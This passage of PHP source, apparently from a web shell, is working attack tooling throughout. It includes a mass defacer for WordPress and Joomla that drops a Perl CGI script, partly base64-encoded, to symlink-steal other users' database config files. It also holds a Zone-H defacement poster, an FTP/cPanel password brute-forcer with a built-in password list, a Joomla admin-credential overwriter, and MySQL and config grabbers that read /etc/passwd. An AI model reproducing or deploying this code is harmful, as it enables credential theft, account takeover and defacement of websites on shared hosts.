            $map = array();
            foreach ($out as $d) {
                $info = @posix_getpwuid(fileowner("/etc/valiases/" . $d));
                $map[$info['name']] = $d;
            }
            $dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
   kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
   VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
   3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
   cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
   MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
   R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';
            mkdir('plsym', 0777);
            file_put_contents('plsym/data.txt', $_POST['man_data']);
            file_put_contents('plsym/plsym.cc', "#!/usr/bin/perl -I/usr/local/bandmin\r\nsub lil{\r\n    (\$user) = @_;\r\n    \$msr = qx{pwd};\r\n    \$kola=\$msr.\"/\".\$user;\r\n    \$kola=~s/\\n//g;\r\n    symlink('/home/'.\$user.'/public_html/configuration.php',\$kola.'##joomla.txt'); \r\n    symlink('/home/'.\$user.'/public_html/wp-config.php',\$kola.'##wordpress.txt');\r\n    symlink('/home/'.\$user.'/public_html/blog/wp-config.php',\$kola.'##swordpress.txt');\r\n}\r\n\r\nlocal \$/;\r\nopen(FILE, 'data.txt');  \r\n@lines = <FILE>; \r\nclose(FILE);\r\n\$y = @lines;\r\n\r\nfor(\$ka=0;\$ka<\$y;\$ka++){\r\n    while(@lines[\$ka]  =~ m/(.*?):x:/g){\r\n        &lil(\$1);\r\n    }\r\n}");
            chmod('plsym/plsym.cc', 0755);
            $wr = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";
            $fp = @fopen('plsym/.htaccess', 'w');
            fwrite($fp, $wr);
            fclose($fp);
            $res = file_get_contents('http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/plsym/plsym.cc');
            $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/plsym/';
            unlink('plsym/plsym.cc');
            $data = file_get_contents($url);
            preg_match_all('/<a href="(.+)">/', $data, $match);
            unset($match[1][0]);
            $i = 1;
            foreach ($match[1] as $m) {
                $mz = explode('##', urldecode($m));
                $config01 = '';
                $config02 = '';
                if ($mz[1] == 'joomla.txt') {
                    $config01 = file_get_contents($url . $m);
                }
                if ($mz[1] == 'wordpress.txt') {
                    $config02 = file_get_contents($url . $m);
                }
                $domain = $map[$mz[0]];
                $cls = $j % 2 == 0 ? 'class="even"' : 'class="odd"';
                if ($config01 && preg_match('/dbprefix/i', $config01)) {
                    echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td align="center">' . $i++ . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                    echo "<td align=\"center\"><font color=\"pink\">JOOMLA</font></td>";
                    $res = index_changer_joomla($config01, $def, $domain);
                    echo '<td>' . $res['output'] . '</td>';
                    if ($res['cond']) {
                        echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                        fwrite($output, 'http://' . $domain . "<br>");
                        $count1++;
                    } else {
                        echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                    }
                    echo "</tr>";
                }
                if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                    echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                    echo "<td align=\"center\"><font color=\"yellow\">WORDPRESS</font></td>";
                    $res = index_changer_wp($config02, $def);
                    echo '<td>' . $res['output'] . '</td>';
                    if ($res['cond']) {
                        echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                        fwrite($output, 'http://' . $domain . "<br>");
                        $count2++;
                    } else {
                        echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                    }
                    echo "</tr>";
                }
            }
            echo "</table>";
            echo "<hr/>";
            echo 'Total Defaced = ' . ($count1 + $count2) . ' (JOOMLA = ' . $count1 . ', WORDPRESS = ' . $count2 . ')<br />';
            echo "<a href=\"defaced.html\" target=\"_blank\">View Total Defaced urls</a><br />";
            if ($count1 + $count2 > 0) {
                echo '<a href="' . $_SERVER['PHP_SELF'] . '?pass=' . $_GET['pass'] . '&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
            }
        }
        echo "<!DOCTYPE html><html><head><link href=\"http://fonts.googleapis.com/css?family=Orbitron:700\" rel=\"stylesheet\" type=\"text/css\"><style type=\"text/css\">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type=\"radio\"]{margin-top: 0;}.td2 {border-left:1px solid red;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#00FF00;font-weight:bold;}.red {color:#FF0000;font-weight:bold;}</style><script type=\"text/javascript\">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';}}function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><h2 style=\"font-size:25px;color:#00ff00;text-align: center;font-family:orbitron;text-shadow: 6px 6px 6px black;\">Wordpress and Joomla Mass Defacer</h2>";
        if (!isset($_POST['form_action']) && !isset($_GET['mode'])) {
            echo '<center><div class="mybox" align="center"><form action="" method="post"><table><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td>using /etc/named.conf (' . (is_readable('/etc/named.conf') ? '<span class="green">READABLE</span>' : '<span class="red">NOT READABLE</span>') . ')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td>using /etc/passwd (' . (is_readable('/etc/passwd') ? '<span class="green">READABLE</span>' : '<span class="red">NOT READABLE</span>') . ')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td>manual copy of /etc/passwd</td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table><tr><td><b>index url: </b><input class="inputz" size="45" type="text" name="defpage" value=""></tr></td></table><input class="inputzbut" type="submit" value="Attack !" name="Submit"></form></div></center>';
        }
        $milaf_el_index = $_POST['defpage'];
        if ($_POST['form_action'] == 1) {
            if ($_POST['mode'] == 1) {
                exec_mode_1($milaf_el_index);
            }
            if ($_POST['mode'] == 2) {
                exec_mode_2($milaf_el_index);
            }
            if ($_POST['mode'] == 3) {
                exec_mode_3($milaf_el_index);
            }
        }
        if ($_GET['mode'] == 1) {
            exec_mode_1($milaf_el_index);
        }
        echo "</body></html>";
    } elseif (isset($_GET['x']) && $_GET['x'] == 'zone-h') {
        $defacer = 'ReZK2LL';
        $display_details = 0;
        $method = 14;
        $reason = 5;
        error_reporting(0);
        set_time_limit(0);
        if (!function_exists('curl_init')) {
            echo "CURL ERROR\n";
            exit;
        }
        $cli = isset($argv[0]) ? 1 : 0;
        if ($cli == 1) {
            $file = $argv[1];
            $sites = file($file);
        }
        if (function_exists(apache_setenv)) {
            @apache_setenv('no-gzip', 1);
        }
        @ini_set('zlib.output_compression', 0);
        @ini_set('implicit_flush', 1);
        @ob_implicit_flush(true);
        @ob_end_flush();
        if (isset($_POST['domains'])) {
            $sites = explode("\n", $_POST['domains']);
        }
        if (file_exists($_FILES["file"]["tmp_name"])) {
            $file = $_FILES["file"]["tmp_name"];
            $sites = file($file);
        }
        echo "<div align=\"center\"><table width=\"67%\"><tr><td align=center></td></tr></table><br><pre>";
        if (!isset($_POST['defacer'])) {
            echo <<<EOF
<div class="mybox"><h2 class="k2ll33d2">Zone-H Poster</h2><form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="{$defacer}" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' placeholder=' put domains here' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='Send' name='submit'></p></td></tr></table></form></div>
EOF;
        }
        $defacer = $_POST['defacer'];
        if (!$sites) {
            echo "</pre>";
            exit;
        }
        $sites = array_unique(str_replace('http://', '', $sites));
        $total = count($sites);
        echo "[+] Total unique domain: {$total}\n\n";
        $pause = 10;
        $start = time();
        $main = curl_multi_init();
        for ($m = 0; $m < 3; $m++) {
            $http[] = curl_init();
        }
        for ($n = 0; $n < $total; $n += 30) {
            if ($display_details == 1) {
                for ($x = 0; $x < 30; $x++) {
                    echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
                    echo "\n";
                }
            }
            $d = $n + 30;
            if ($d > $total) {
                $d = $total;
            }
            echo "=====================>[{$d}/{$total}]\n";
            for ($w = 0; $w < 3; $w++) {
                $p = $w * 10;
                if (!isset($sites[$n + $p])) {
                    $pause = $w;
                    break;
                }
                $posts[$w] = "defacer={$defacer}&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
                $curlopt = array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16', CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => true, CURLOPT_HEADER => false, CURLOPT_HTTPHEADER => array("Keep-Alive: 7"), CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_URL => 'http://www.zone-h.com/notify/mass', CURLOPT_POSTFIELDS => $posts[$w]);
                curl_setopt_array($http[$w], $curlopt);
                curl_multi_add_handle($main, $http[$w]);
            }
            $running = null;
            do {
                curl_multi_exec($main, $running);
            } while ($running > 0);
            for ($m = 0; $m < 3; $m++) {
                if ($pause == $m) {
                    break;
                }
                curl_multi_remove_handle($main, $http[$m]);
                $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                if ($code != 200) {
                    while (true) {
                        echo " [-]Error!....Retrying";
                        echo "\n";
                        sleep(5);
                        curl_exec($http[$m]);
                        $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                        if ($code == 200) {
                            break 1;
                        }
                    }
                }
            }
        }
        $end = time() - $start;
        echo "Done";
        echo "\n\n[*]Time: {$end} seconds\n";
        curl_multi_close($main);
        if ($cli == 0) {
            echo "</pre></body></html>";
        }
        exit;
    } elseif (isset($_GET['x']) && $_GET['x'] == 'brute') {
        $connect_timeout = 5;
        set_time_limit(0);
        $submit = $_REQUEST['submit'];
        $users = $_REQUEST['users'];
        $pass = $_REQUEST['passwords'];
        $target = $_REQUEST['target'];
        $cracktype = $_REQUEST['cracktype'];
        if ($target == "") {
            $target = "localhost";
        }
        ?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php 
        function ftp_check($host, $user, $pass, $timeout)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "ftp://{$host}");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
            curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
            curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_FAILONERROR, 1);
            $data = curl_exec($ch);
            if (curl_errno($ch) == 28) {
                print "<b>Connection Timed out</b>";
                exit;
            } elseif (curl_errno($ch) == 0) {
                print "<table width='67%'><tr><td align=center><b>Username ({$user}) | Password ({$pass})</b></td></tr></table>";
            }
            curl_close($ch);
        }
        function cpanel_check($host, $user, $pass, $timeout)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "http://{$host}:2082");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
            curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_FAILONERROR, 1);
            $data = curl_exec($ch);
            if (curl_errno($ch) == 28) {
                print "<b>Connection Timed out</b>";
                exit;
            } elseif (curl_errno($ch) == 0) {
                print "<table width='67%'><tr><td align=center><b>[+]Username ({$user}) | Password ({$pass})</b></td></tr></table>";
            }
            curl_close($ch);
        }
        if (isset($submit) && !empty($submit)) {
            if (empty($users) && empty($pass)) {
                print "<p><b>Error : Check The Users and Password List</b></p>";
                exit;
            }
            if (empty($users)) {
                print "<p><b>Error :Check The Users List</b></p>";
                exit;
            }
            if (empty($pass)) {
                print "<p><b>Error :Check The Password List</b></p>";
                exit;
            }
            $userlist = explode("\n", $users);
            $passlist = explode("\n", $pass);
            print "<b>[~] Wait ...</b><br><br>";
            foreach ($userlist as $user) {
                $pureuser = trim($user);
                foreach ($passlist as $password) {
                    $purepass = trim($password);
                    if ($cracktype == "ftp") {
                        ftp_check($target, $pureuser, $purepass, $connect_timeout);
                    }
                    if ($cracktype == "cpanel") {
                        cpanel_check($target, $pureuser, $purepass, $connect_timeout);
                    }
                }
            }
        }
        echo "<cecnter><div class='mybox'><h2 class='k2ll33d2'>The Cracker</h2><form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value={$target}></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
        system('ls /var/mail');
        echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n14789632\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form></div></center>";
        die;
    } elseif (isset($_GET['x']) && $_GET['x'] == 'joomla') {
        if (empty($_POST['pwd'])) {
            echo "<br><br><br><center><div class='mybox'><h2 class='k2ll33d2'>Joomla login changer</h2><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
        } else {
            $prefix = $_POST['prefix'];
            $localhost = $_POST['localhost'];
            $database = $_POST['database'];
            $username = $_POST['username'];
            $password = $_POST['password'];
            $admin = $_POST['admin'];
            $pd = $_POST["pwd"];
            $pwd = md5($pd);
            @mysql_connect($localhost, $username, $password) or die(mysql_error());
            @mysql_select_db($database) or die(mysql_error());
            $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
            $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
            if ($SQL) {
                echo "<br><br><center><h1>Done... go and login</h1></center>";
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'mysql') {
        if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
            $sqlhost = $_GET['sqlhost'];
            $sqluser = $_GET['sqluser'];
            $sqlpass = $_GET['sqlpass'];
            $sqlport = $_GET['sqlport'];
            if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {
                $msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";
                $msg .= "<p>Connected to " . $sqluser . "<span class='gaya'>@</span>" . $sqlhost . ":" . $sqlport;
                $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;'>[ databases ]</a>";
                if (isset($_GET['db'])) {
                    $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "'>" . htmlspecialchars($_GET['db']) . "</a>";
                }
                if (isset($_GET['table'])) {
                    $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "&amp;table=" . $_GET['table'] . "'>" . htmlspecialchars($_GET['table']) . "</a>";
                }
                $msg .= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
                $msg .= "</div>";
                echo $msg;
                if (isset($_GET['db']) && !isset($_GET['table']) && !isset($_GET['sqlquery'])) {
                    $db = $_GET['db'];
                    $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
                    $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
                    $tables = array();
                    $msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on " . $db . "</th></tr>";
                    $hasil = @mysql_list_tables($db, $con);
                    while (list($table) = @mysql_fetch_row($hasil)) {
                        @array_push($tables, $table);
                    }
                    @sort($tables);
                    foreach ($tables as $table) {
                        $msg .= "<tr><td><a href='?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "&amp;table=" . $table . "'>{$table}</a></td></tr>";
                    }
                    $msg .= "</table>";
                } elseif (isset($_GET['table']) && !isset($_GET['sqlquery'])) {
                    $db = $_GET['db'];
                    $table = $_GET['table'];
                    $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
                    $msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
                    $columns = array();
                    $msg = "<table class='explore' style='width:99%;'>";
                    $hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
                    while (list($column) = @mysql_fetch_row($hasil)) {
                        $msg .= "<th>{$column}</th>";
                        $kolum = $column;
                    }
                    $msg .= "</tr>";
                    $hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
                    list($total) = mysql_fetch_row($hasil);
                    if (isset($_GET['z'])) {
                        $page = (int) $_GET['z'];
                    } else {
                        $page = 1;
                    }
                    $pagenum = 100;
                    $totpage = ceil($total / $pagenum);
                    $start = ($page - 1) * $pagenum;
                    $hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
                    while ($datas = @mysql_fetch_assoc($hasil)) {
                        $msg .= "<tr>";
                        foreach ($datas as $data) {
                            if (trim($data) == "") {
                                $data = "&nbsp;";
                            }
                            $msg .= "<td>{$data}</td>";
                        }
                        $msg .= "</tr>";
                    }
                    $msg .= "</table>";
                    $head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
                    for ($i = 1; $i <= $totpage; $i++) {
                        $head .= "<option value='" . $i . "'>" . $i . "</option>";
                        if ($i == $_GET['z']) {
                            $head .= "<option value='" . $i . "' selected='selected'>" . $i . "</option>";
                        }
                    }
                    $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";
                    $msg = $msgq . $head . $msg;
                } elseif (isset($_GET['submitquery']) && $_GET['sqlquery'] != "") {
                    $db = $_GET['db'];
                    $query = magicboom($_GET['sqlquery']);
                    $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
                    @mysql_select_db($db);
                    $querys = explode(";", $query);
                    foreach ($querys as $query) {
                        if (trim($query) != "") {
                            $hasil = mysql_query($query);
                            if ($hasil) {
                                $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . ";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
                                $msg .= "<table class='explore' style='width:99%;'><tr>";
                                for ($i = 0; $i < @mysql_num_fields($hasil); $i++) {
                                    $msg .= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
                                }
                                $msg .= "</tr>";
                                for ($i = 0; $i < @mysql_num_rows($hasil); $i++) {
                                    $rows = @mysql_fetch_array($hasil);
                                    $msg .= "<tr>";
                                    for ($j = 0; $j < @mysql_num_fields($hasil); $j++) {
                                        if ($rows[$j] == "") {
                                            $dataz = "&nbsp;";
                                        } else {
                                            $dataz = $rows[$j];
                                        }
                                        $msg .= "<td>" . $dataz . "</td>";
                                    }
                                    $msg .= "</tr>";
                                }
                                $msg .= "</table>";
                            } else {
                                $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . ";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
                            }
                        }
                    }
                } else {
                    $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
                    $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='" . $sqlhost . "' /><input type='hidden' name='sqluser' value='" . $sqluser . "' /><input type='hidden' name='sqlport' value='" . $sqlport . "' /><input type='hidden' name='sqlpass' value='" . $sqlpass . "' /><input type='hidden' name='db' value='" . $db . "' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";
                    $dbs = array();
                    $msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";
                    $hasil = @mysql_list_dbs($con);
                    while (list($db) = @mysql_fetch_row($hasil)) {
                        @array_push($dbs, $db);
                    }
                    @sort($dbs);
                    foreach ($dbs as $db) {
                        $msg .= "<tr><td><a href='?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "'>{$db}</a></td></tr>";
                    }
                    $msg .= "</table>";
                }
                @mysql_close($con);
            } else {
                $msg = "<p style='text-align:center;'>can't connect</p>";
            }
            echo $msg;
        } else {
            ?> 
<br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect</h2><form action="?" method="get"><input type="hidden" name="y" value="<?php 
            echo $pwd;
            ?>" /> <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connection Form</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form></div></center>
<?php 
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'configs') {
        ?><br><br><center><div class='mybox'><?php 
        if (empty($_POST['conf'])) {
            ?><h2 class='k2ll33d2'>Configs Grabber</h2><br><p>/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows=20><?php 
            echo file_get_contents('/etc/passwd');
            ?></textarea><br><br><input name="conf" class='inputzbut' size="80" value="GET'em" type="submit"><br></form></div></center><?php 
        }
        if ($_POST['conf']) {
            $function = $functions = @ini_get("disable_functions");
            if (eregi("symlink", $functions)) {
                die('<error>Symlink is disabled :( </error>');
            }
            @mkdir('configs', 0755);
            @chdir('configs');
